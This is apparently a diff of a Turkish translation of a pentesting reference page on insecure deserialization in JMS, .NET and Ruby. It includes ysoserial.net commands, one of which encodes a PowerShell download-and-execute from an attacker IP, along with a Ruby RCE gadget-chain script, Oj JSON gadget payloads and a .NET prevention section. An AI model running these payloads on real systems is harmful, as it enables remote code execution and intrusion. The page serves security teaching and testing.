+Temelde JMS'i tehlikeli bir şekilde kullanan bir dizi servis vardır. Bu nedenle, bu servislere mesaj gönderecek kadar yetkiye (genellikle geçerli kimlik bilgileri gerekir) sahipseniz, consumer/subscriber tarafından deserialized edilecek şekilde **kötü amaçlı serialized objeler** gönderebilirsiniz.\
+Bu, bu istismarda mesajı kullanacak tüm **istemcilerin enfekte olacağı** anlamına gelir.
 
-Bir hizmetin zayıf olduğunu hatırlamalısınız (çünkü kullanıcı girdisini güvensiz bir şekilde deserialization yapıyorsa), yine de zafiyeti istismar etmek için geçerli gadget'lar bulmanız gerekir.
+Bir servisin (kullanıcı girdisini güvensiz şekilde deserializing ettiği için) vuln olması durumunda bile, vuln'ü exploit edebilmek için geçerli gadget'ları bulmanız gerektiğini unutmayın.
 
-[**JMET**](https://github.com/matthiaskaiser/jmet) aracı, **bilinen gadget'lar kullanarak birkaç kötü niyetli serileştirilmiş nesne göndererek bu hizmetlere bağlanmak ve saldırmak** için oluşturulmuştur. Bu istismarlar, hizmet hala zayıfsa ve kullanılan gadget'lardan herhangi biri zayıf uygulamanın içinde bulunuyorsa çalışacaktır.
+[ JMET ](https://github.com/matthiaskaiser/jmet) aracı, **bu servislere bağlanıp bilinen gadget'ları kullanarak birçok kötü amaçlı serialized obje göndererek saldırmak** için oluşturulmuştur. Bu exploit'ler, servis hâlâ vulnerable ise ve kullanılan gadget'lardan herhangi biri vuln uygulama içinde mevcutsa çalışacaktır.
 
-### Referanslar
+### References
 
-- [Patchstack danışmanlığı – Everest Forms kimlik doğrulaması yapılmamış PHP Nesne Enjeksiyonu (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
+- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
 
-- JMET konuşması: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
-- Slaytlar: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
+- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
+- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
 
 ## .Net
 
-.Net bağlamında, deserialization istismarları, bir nesnenin deserialization'ı sırasında belirli kodları çalıştırmak için gadget'ların istismar edilmesi şeklinde çalışır.
+.Net bağlamında, deserialization exploit'leri Java'dakine benzer şekilde çalışır; burada gadget'lar, bir nesnenin deserialization sırasında belirli kodun çalıştırılması için kötüye kullanılır.
 
-### Parmak İzi
+### Fingerprint
 
-#### Beyaz Kutu
+#### WhiteBox
 
-Kaynak kodu, aşağıdaki terimlerin geçişlerini kontrol etmek için incelenmelidir:
+Kaynak kod, aşağıdaki ögelerin varlığı açısından incelenmelidir:
 
 1. `TypeNameHandling`
 2. `JavaScriptTypeResolver`
 
-Odak, türün kullanıcı kontrolündeki bir değişkenle belirlenmesine izin veren serileştiriciler üzerinde olmalıdır.
+Odak, tipi kullanıcının kontrolündeki bir değişken tarafından belirlenmesine izin veren serializer'lar olmalıdır.
 
-#### Siyah Kutu
+#### BlackBox
 
-Arama, sunucu tarafında deserialization yapılabilecek **AAEAAAD/////** veya benzeri bir Base64 kodlu dizeyi hedef almalıdır; bu, deserialization yapılacak tür üzerinde kontrol sağlar. Bu, **JSON** veya `TypeObject` veya `$type` içeren **XML** yapıları gibi olabilir.
+Arama, sunucu tarafında deserializasyona uğrayabilecek ve deserialized edilecek tipi kontrol etme imkanı sağlayabilecek Base64 encode edilmiş **AAEAAAD/////** dizgisine veya benzer paternlere yönelik olmalıdır. Bu JSON veya XML yapıları gibi, `TypeObject` veya `$type` içeren yapıları da kapsayabilir.
 
 ### ysoserial.net
 
-Bu durumda, **deserialization istismarlarını oluşturmak için [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını** kullanabilirsiniz. Git deposunu indirdikten sonra, aracı **örneğin Visual Studio kullanarak derlemelisiniz**.
+Bu durumda deserialization exploit'leri **oluşturmak** için [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aracını kullanabilirsiniz. Git deposunu indirdikten sonra aracı örneğin Visual Studio kullanarak **compile** etmelisiniz.
 
-**ysoserial.net'in istismarını nasıl oluşturduğunu** öğrenmek istiyorsanız, [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter'ının açıklandığı bu sayfayı kontrol edebilirsiniz**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
+**ysoserial.net'in nasıl exploit oluşturduğunu** öğrenmek isterseniz [**ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter'ın açıklandığı bu sayfayı**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md) inceleyebilirsiniz.
 
-**ysoserial.net**'in ana seçenekleri: **`--gadget`**, **`--formatter`**, **`--output`** ve **`--plugin`.**
+ysoserial.net'in ana seçenekleri: **`--gadget`**, **`--formatter`**, **`--output`** ve **`--plugin`.**
 
-- **`--gadget`**, istismar edilecek gadget'ı belirtmek için kullanılır (deserialization sırasında komutları çalıştırmak için istismar edilecek sınıf/fonksiyonu belirtir).
-- **`--formatter`**, istismarı serileştirmek için kullanılacak yöntemi belirtmek için kullanılır (payload'ı deserialization yapmak için arka uçta hangi kütüphanenin kullanıldığını bilmeniz ve aynı kütüphaneyi kullanarak serileştirmeniz gerekir).
-- **`--output`**, istismarı **ham** veya **base64** kodlu olarak almak isteyip istemediğinizi belirtmek için kullanılır. _Not: **ysoserial.net**, payload'ı **UTF-16LE** kullanarak **kodlayacaktır** (Windows'ta varsayılan olarak kullanılan kodlama), bu nedenle ham veriyi alıp sadece bir linux konsolundan kodlarsanız, istismarın düzgün çalışmasını engelleyecek bazı **kodlama uyumluluğu sorunları** yaşayabilirsiniz (HTB JSON kutusunda payload hem UTF-16LE hem de ASCII'de çalıştı, ancak bu her zaman çalışacağı anlamına gelmez)._
-- **`--plugin`**, ysoserial.net, **belirli çerçeveler için istismarlar oluşturmak** üzere eklentileri destekler, örneğin ViewState.
+- **`--gadget`** abuse edilecek gadget'ı belirtmek için kullanılır (deserialization sırasında komut çalıştırmak için kullanılacak sınıf/fonksiyonu belirtir).
+- **`--formatter`** exploit'i serialize etmek için kullanılacak yöntemi belirtmek içindir (payload'u deserializing eden backend'in hangi kütüphaneyi kullandığını bilip aynı formatter'ı kullanmanız gerekir).
+- **`--output`** exploit'in **raw** mı yoksa **base64** olarak mı çıkacağını belirtir. _Not: **ysoserial.net** payload'u varsayılan olarak Windows'ta kullanılan **UTF-16LE** ile **encode** edecektir; bu yüzden raw alıp bir Linux konsolundan sadece encode ederseniz bazı **encoding uyumluluk sorunları** yaşayabilir ve bu da exploit'ün düzgün çalışmasını engelleyebilir (HTB JSON kutusunda payload hem UTF-16LE hem ASCII'de çalıştı ancak bu her zaman böyle olacağı anlamına gelmez)._
+- **`--plugin`** ysoserial.net, ViewState gibi **belirli framework'ler için exploit'ler oluşturacak plugin'leri** destekler.
 
-#### Daha fazla ysoserial.net parametreleri
+#### More ysoserial.net parameters
 
-- `--minify`, **daha küçük bir payload** sağlayacaktır (mümkünse)
-- `--raf -f Json.Net -c "anything"` Bu, sağlanan bir formatter ile kullanılabilecek tüm gadget'ları gösterecektir (bu durumda `Json.Net`).
-- `--sf xml`, bir gadget'ı (`-g`) **belirtebilir** ve ysoserial.net "xml" içeren formatörleri arayacaktır (büyük/küçük harf duyarsız).
+- `--minify` mümkünse **daha küçük bir payload** sağlar
+- `--raf -f Json.Net -c "anything"` Bu, sağlanan formatter (`Json.Net` bu durumda) ile kullanılabilecek tüm gadget'ları gösterecektir
+- `--sf xml` bir gadget (`-g`) belirtebilir ve ysoserial.net "xml" içeren (büyük/küçük harf duyarsız) formatter'ları arayacaktır
 
-**ysoserial örnekleri** ile istismar oluşturma:
+**ysoserial examples** to create exploits:
 ```bash
 #Send ping
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@@ -733,9 +748,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
 #Create exploit using the created B64 shellcode
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
 ```
-**ysoserial.net** ayrıca her bir exploitin nasıl çalıştığını daha iyi anlamaya yardımcı olan **çok ilginç bir parametreye** sahiptir: `--test`\
-Bu parametreyi belirtirseniz **ysoserial.net** **yerel olarak** **exploit'i dener**, böylece yüklemenizin doğru çalışıp çalışmadığını test edebilirsiniz.\
-Bu parametre faydalıdır çünkü kodu gözden geçirirseniz aşağıdaki gibi kod parçaları bulacaksınız ( [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
+**ysoserial.net** ayrıca her exploit'in nasıl çalıştığını daha iyi anlamaya yardımcı olan **çok ilginç bir parametreye** sahiptir: `--test`\
+Eğer bu parametreyi belirtirseniz **ysoserial.net** **exploit'i yerel olarak deneyecek**, böylece payload'unuzun doğru çalışıp çalışmayacağını test edebilirsiniz.\
+Bu parametre yararlıdır çünkü kodu incelerseniz aşağıdaki gibi kod parçaları bulursunuz (şu dosyadan: [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
 ```java
 if (inputArgs.Test)
 {
@@ -749,7 +764,7 @@ Debugging.ShowErrors(inputArgs, err);
 }
 }
 ```
-Bu, istismarı test etmek için kodun [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) çağıracağı anlamına gelir.
+Bu, exploit'i test etmek için kodun [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) çağıracağı anlamına gelir.
 ```java
 public static object JsonNet_deserialize(string str)
 {
@@ -760,46 +775,46 @@ TypeNameHandling = TypeNameHandling.Auto
 return obj;
 }
 ```
-In the **önceki kod, oluşturulan istismara karşı savunmasızdır**. Bu nedenle, bir .Net uygulamasında benzer bir şey bulursanız, muhtemelen o uygulama da savunmasızdır.\
-Bu nedenle **`--test`** parametresi, **hangi kod parçalarının** **ysoserial.net** tarafından oluşturulan deserialization istismarına karşı savunmasız olduğunu anlamamıza olanak tanır.
+In the **previous code is vulnerable to the exploit created**. So if you find something similar in a .Net application it means that probably that application is vulnerable too.\
+Therefore the **`--test`** parameter allows us to understand **which chunks of code are vulnerable** to the desrialization exploit that **ysoserial.net** can create.
 
 ### ViewState
 
-[**.Net'in \_\_ViewState parametresini istismar etmeye nasıl çalışılacağı hakkında bu POST'a**](exploiting-__viewstate-parameter.md) bakın **rastgele kod çalıştırmak için.** Eğer **kurban makinesinin** kullandığı sırları **zaten biliyorsanız**, [**kod çalıştırmayı öğrenmek için bu yazıyı okuyun**](exploiting-__viewstate-knowing-the-secret.md)**.**
+Bu POST'a göz atın: [**.Net'in \_\_ViewState parametresini nasıl exploit etmeyi deneyeceğiniz**](exploiting-__viewstate-parameter.md) ve **keyfi kod çalıştırmak** için. Eğer hedef makinede kullanılan **secret'ları zaten biliyorsanız**, [**kod çalıştırmayı bilmek için bu yazıyı okuyun**](exploiting-__viewstate-knowing-the-secret.md).
 
-### Önleme
+### Prevention
 
-.Net'te deserialization ile ilişkili riskleri azaltmak için:
+Deserialization ile ilişkili riskleri azaltmak için .Net tarafında şunları yapın:
 
-- **Veri akışlarının nesne türlerini tanımlamasına izin vermekten kaçının.** Mümkünse `DataContractSerializer` veya `XmlSerializer` kullanın.
+- **Allowing data streams to define their object types'a izin vermeyin.** Mümkün olduğunda `DataContractSerializer` veya `XmlSerializer` kullanın.
 - **`JSON.Net` için `TypeNameHandling`'i `None` olarak ayarlayın:** `TypeNameHandling = TypeNameHandling.None`
-- **`JavaScriptSerializer`'ı `JavaScriptTypeResolver` ile kullanmaktan kaçının.**
-- **Deserialized edilebilecek türleri sınırlayın**, `System.IO.FileInfo` gibi .Net türleri ile ilgili içsel riskleri anlayarak, bu türler sunucu dosyalarının özelliklerini değiştirebilir ve hizmet reddi saldırılarına yol açabilir.
-- **Riskli özelliklere sahip türlerle dikkatli olun**, `Value` özelliği ile `System.ComponentModel.DataAnnotations.ValidationException` gibi, istismar edilebilir.
-- **Tür örneklemesini güvenli bir şekilde kontrol edin**; bu, saldırganların deserialization sürecini etkilemesini önler ve hatta `DataContractSerializer` veya `XmlSerializer`'ı savunmasız hale getirebilir.
-- **`BinaryFormatter` ve `JSON.Net` için özel bir `SerializationBinder` kullanarak beyaz liste kontrolleri uygulayın.**
-- **.Net içinde bilinen güvensiz deserialization aletleri hakkında bilgi sahibi olun** ve deserializer'ların bu türleri örneklemediğinden emin olun.
-- **Potansiyel olarak riskli kodu** internet erişimi olan koddan izole edin, böylece `System.Windows.Data.ObjectDataProvider` gibi bilinen aletleri güvensiz veri kaynaklarına maruz bırakmaktan kaçının.
+- **`JavaScriptSerializer`'ı bir `JavaScriptTypeResolver` ile kullanmaktan kaçının.**
+- **Deserializable olabilecek tipleri sınırlayın;** `System.IO.FileInfo` gibi .Net tiplerinin sunucu dosyalarının özelliklerini değiştirebileceğini ve potansiyel olarak denial of service saldırılarına yol açabileceğini unutmayın.
+- **Riskli özelliklere sahip tiplere dikkat edin,** örneğin `System.ComponentModel.DataAnnotations.ValidationException`'ın `Value` özelliği kötü amaçla kullanılabilir.
+- **Type instantiation'ı güvenli şekilde kontrol edin** ki saldırganlar deserialization sürecini etkilemesin; aksi takdirde `DataContractSerializer` veya `XmlSerializer` bile savunmasız hale gelebilir.
+- **Custom `SerializationBinder` kullanarak white list kontrolleri uygulayın** (`BinaryFormatter` ve `JSON.Net` için).
+- **.Net içindeki bilinen insecure deserialization gadget'larından haberdar olun** ve deserializer'ların bu tür tipleri instantiate etmediğinden emin olun.
+- **Potansiyel olarak riskli kodu, internete erişimi olan koddan izole edin** ki WPF uygulamalarındaki `System.Windows.Data.ObjectDataProvider` gibi bilinen gadget'lar untrusted veri kaynaklarına maruz kalmasın.
 
-### **Referanslar**
+### **References**
 
-- Java ve .Net JSON deserialization **belgesi:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** konuşma: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) ve slaytlar: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
 - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
 - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
 - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
 
 ## **Ruby**
 
-Ruby'de, serialization **marshal** kütüphanesindeki iki yöntemle sağlanır. İlk yöntem, **dump** olarak bilinir ve bir nesneyi bir byte akışına dönüştürmek için kullanılır. Bu işleme serialization denir. Tersine, ikinci yöntem **load** olarak adlandırılır ve bir byte akışını tekrar bir nesneye döndürmek için kullanılır; bu işleme ise deserialization denir.
+Ruby'de serileştirme, **marshal** kütüphanesindeki iki metodla sağlanır. Birinci metod olan **dump**, bir objeyi byte stream'e dönüştürmek için kullanılır; bu işleme serileştirme denir. İkinci metod olan **load** ise bir byte stream'i tekrar objeye çevirmek için kullanılır; bu işleme deserialization denir.
 
-Serileştirilmiş nesneleri güvence altına almak için **Ruby, HMAC (Hash-Based Message Authentication Code)** kullanır ve verilerin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar, birkaç olası konumdan birinde saklanır:
+Serileştirilmiş objeleri güvence altına almak için **Ruby, HMAC (Hash-Based Message Authentication Code)** kullanır; bu, verinin bütünlüğünü ve kaynağının doğruluğunu sağlar. Bu amaçla kullanılan anahtar aşağıdaki yerlerden birinde saklanıyor olabilir:
 
 - `config/environment.rb`
 - `config/initializers/secret_token.rb`
 - `config/secrets.yml`
 - `/proc/self/environ`
 
-**Ruby 2.X genel deserialization'dan RCE alet zincirine (daha fazla bilgi için** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
+**Ruby 2.X generic deserialization to RCE gadget chain (more info in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
 ```ruby
 #!/usr/bin/env ruby
 
@@ -870,18 +885,18 @@ require "base64"
 puts "Payload (Base64 encoded):"
 puts Base64.encode64(payload)
 ```
-Diğer RCE zinciri Ruby On Rails'i istismar etmek için: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
+Ruby On Rails'i exploit etmek için başka bir RCE zinciri: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
 
-### Ruby .send() metodu
+### Ruby .send() method
 
-[**bu güvenlik açığı raporunda**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) açıklandığı gibi, bazı kullanıcıdan gelen temizlenmemiş girdi `.send()` metoduna ulaştığında, bu metod nesnenin **herhangi bir diğer metodunu** herhangi bir parametre ile çağırmaya izin verir.
+[**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) içinde açıklandığı gibi, eğer bazı kullanıcılardan gelen unsanitized input bir ruby nesnesinin `.send()` metoduna ulaşırsa, bu metot nesnenin **herhangi bir diğer metodunu** herhangi bir parametre ile çağırmaya izin verir.
 
-Örneğin, eval çağırmak ve ardından ruby kodunu ikinci parametre olarak vermek, rastgele kodun çalıştırılmasına olanak tanır:
+Örneğin, eval çağrısı yapıp ikinci parametre olarak ruby code verirseniz herhangi bir kodu çalıştırmanıza izin verir:
 ```ruby
 <Object>.send('eval', '<user input with Ruby code>') == RCE
 ```
-Ayrıca, eğer **`.send()`** metodunun yalnızca bir parametresi bir saldırgan tarafından kontrol ediliyorsa, önceki yazıda belirtildiği gibi, **argüman gerektirmeyen** veya argümanlarının **varsayılan değerleri** olan herhangi bir nesne metodunu çağırmak mümkündür.\
-Bunun için, bu gereksinimleri karşılayan **ilginç metodları bulmak üzere nesnenin tüm metodlarını listelemek** mümkündür.
+Dahası, eğer bir saldırgan sadece **`.send()`**'in tek bir parametresini kontrol ediyorsa, önceki yazıda belirtildiği gibi, nesnenin **argüman gerektirmeyen** veya argümanlarının **varsayılan değerleri** olan herhangi bir metodunu çağırmak mümkündür.\
+Bunun için, nesnenin tüm metotlarını listeleyerek **bu gereksinimleri karşılayan bazı ilginç metotları bulmak** mümkündür.
 ```ruby
 <Object>.send('<user_input>')
 
@@ -903,25 +918,25 @@ candidate_methods = repo_methods.select() do |method_name|
 end
 candidate_methods.length() # Final number of methods=> 3595
 ```
-### Ruby sınıf kirlenmesi
+### Ruby class pollution
 
-Bir Ruby sınıfını nasıl [kirletebileceğinizi ve bunu burada nasıl kötüye kullanabileceğinizi kontrol edin](ruby-class-pollution.md).
+Nasıl mümkün olabileceğini görmek için [pollute a Ruby class and abuse it in here](ruby-class-pollution.md) sayfasını inceleyin.
 
-### Ruby _json kirlenmesi
+### Ruby _json pollution
 
-Bir gövdeye, bir dizi gibi hashlenemeyen bazı değerler gönderildiğinde, bunlar `_json` adlı yeni bir anahtara eklenecektir. Ancak, bir saldırganın gövdeye istediği keyfi değerlerle `_json` adlı bir değer de ayarlaması mümkündür. Örneğin, arka uç bir parametrenin doğruluğunu kontrol ederse ancak ardından `_json` parametresini bir eylem gerçekleştirmek için kullanırsa, bir yetkilendirme atlatması gerçekleştirilebilir.
+Bir body içinde array gibi hash'lenebilir olmayan bazı değerler gönderildiğinde, bunlar `_json` adında yeni bir anahtara eklenir. Ancak, bir saldırgan body içinde istediği rastgele değerleri içeren `_json` adlı bir değer de ayarlayabilir. Ardından, örneğin backend bir parametrenin doğruluğunu kontrol edip daha sonra `_json` parametresini bir işlem yapmak için kullanıyorsa, bir authorisation bypass gerçekleştirilebilir.
 
-Daha fazla bilgi için [Ruby _json kirlenmesi sayfasını](ruby-_json-pollution.md) kontrol edin.
+Daha fazla bilgi için [Ruby _json pollution page](ruby-_json-pollution.md) sayfasına bakın.
 
 ### Diğer kütüphaneler
 
-Bu teknik [**bu blog yazısından**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) alınmıştır.
+Bu teknik [ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) alınmıştır.
 
-RCE elde etmek için kötüye kullanılabilecek nesneleri serileştirmek için kullanılabilecek diğer Ruby kütüphaneleri vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve yüklenen kütüphaneden serileştirilmediğinde çağrılan yöntemleri göstermektedir (temelde RCE elde etmek için kötüye kullanılacak fonksiyon):
+Nesneleri serialize etmek için kullanılabilen ve bu nedenle insecure deserialization sırasında RCE elde etmek için istismar edilebilecek başka Ruby kütüphaneleri de vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve nesne unserialize edildiğinde çağrılan library içindeki metodu gösterir (temelde RCE elde etmek için istismar edilecek fonksiyon):
 
-<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Kütüphane</strong></td><td><strong>Girdi verisi</strong></td><td><strong>Sınıf içindeki başlatma yöntemi</strong></td></tr><tr><td>Marshal (Ruby)</td><td>İkili</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_create ile ilgili notlara bakın](#table-vulnerable-sinks) son)</td></tr></tbody></table>
+<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Kütüphane</strong></td><td><strong>Girdi</strong></td><td><strong>Sınıf içindeki tetikleyici metod</strong></td></tr><tr><td>Marshal (Ruby)</td><td>İkili</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (sınıf anahtar olarak hash(map) içine konulmalıdır)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (sınıf anahtar olarak hash(map) içine konulmalıdır)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (sınıf anahtar olarak hash(map) içine konulmalıdır)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
 
-Temel örnek:
+Basic example:
 ```ruby
 # Existing Ruby class inside the code of the app
 class SimpleClass
@@ -943,7 +958,7 @@ puts json_payload
 # Sink vulnerable inside the code accepting user input as json_payload
 Oj.load(json_payload)
 ```
-Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağrısı yapan bir gadget sınıfı bulmak mümkün oldu. Bu, spec'i çağıracak ve fetch_path'i çağıracak şekildeydi; bu da rastgele bir URL almasını sağladı ve bu tür sanitizasyon yapılmamış deserialization zafiyetlerinin harika bir dedektörünü sağladı.
+Oj'yi kötüye kullanmaya çalışırken, içinde `hash` fonksiyonunun `to_s`'i çağıracağı, bunun da spec'i, onun da fetch_path'i çağıracağı bir gadget class bulmak mümkündü; fetch_path'i rastgele bir URL'yi getirecek şekilde yaptırmak mümkün olduğu için bu, bu tür unsanitized deserialization vulnerabilities için harika bir detector sağlıyordu.
 ```json
 {
 "^o": "URI::HTTP",
@@ -955,7 +970,7 @@ Oj'yi kötüye kullanmaya çalışırken, `hash` fonksiyonu içinde `to_s` çağ
 "password": "anypw"
 }
 ```
-Ayrıca, önceki teknikle birlikte sistemde bir klasörün de oluşturulduğu, bunun başka bir gadget'ı kötüye kullanmak için bir gereklilik olduğu ve bunun bir RCE'ye dönüştürülmesi gerektiği bulundu:
+Ayrıca, önceki teknikle sistemde bir klasörün de oluşturulduğu tespit edildi; bu, bunu tam bir RCE'ye dönüştürmek için başka bir gadget'ı suistimal etmek adına bir gerekliliktir; örneğin:
 ```json
 {
 "^o": "Gem::Resolver::SpecSpecification",
@@ -979,44 +994,45 @@ Ayrıca, önceki teknikle birlikte sistemde bir klasörün de oluşturulduğu, b
 ```
 Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
 
-### Bootstrap Caching
+### Bootstrap Önbellekleme
 
-Gerçekten bir deserialization zafiyeti değil ama bir Rails uygulamasından keyfi dosya yazımı ile RCE elde etmek için bootstrap caching'i kötüye kullanmak için güzel bir numara (tam [orijinal yazıyı burada](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) bulabilirsiniz).
+Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
 
-Aşağıda, Bootsnap caching'i kötüye kullanarak keyfi dosya yazma zafiyetini istismar etmek için makalede detaylandırılan adımların kısa bir özeti bulunmaktadır:
+Aşağıda Bootsnap önbelleklemesini suistimal ederek arbitrary file write zafiyetini exploit etme konusunda makalede detaylandırılan adımların kısa bir özeti bulunmaktadır:
 
-- Vulnerability and Environment'i Belirleyin
+- Zafiyeti ve Ortamı Belirleyin
 
-Rails uygulamasının dosya yükleme işlevi, bir saldırganın dosyaları keyfi olarak yazmasına izin verir. Uygulama kısıtlamalarla çalışsa da (Docker'ın kök olmayan kullanıcısı nedeniyle yalnızca tmp gibi belirli dizinler yazılabilir), bu yine de Bootsnap önbellek dizinine yazmaya izin verir (genellikle tmp/cache/bootsnap altında).
+Rails uygulamasının dosya yükleme fonksiyonu bir saldırganın dosyaları arbitrary olarak yazmasına izin veriyor. Uygulama kısıtlamalarla çalışsa bile (Docker’ın non-root kullanıcısı nedeniyle sadece tmp gibi belirli dizinler yazılabilir), bu yine de Bootsnap cache dizinine yazmayı (genellikle tmp/cache/bootsnap altında) mümkün kılar.
 
-- Bootsnap’ın Önbellek Mekanizmasını Anlayın
+- Bootsnap’in Önbellek Mekanizmasını Anlayın
 
-Bootsnap, derlenmiş Ruby kodunu, YAML ve JSON dosyalarını önbelleğe alarak Rails başlatma sürelerini hızlandırır. Ruby sürümü, dosya boyutu, mtime, derleme seçenekleri gibi alanları içeren bir önbellek anahtarı başlığı ile birlikte derlenmiş kodu içeren önbellek dosyalarını saklar. Bu başlık, uygulama başlangıcında önbelleği doğrulamak için kullanılır.
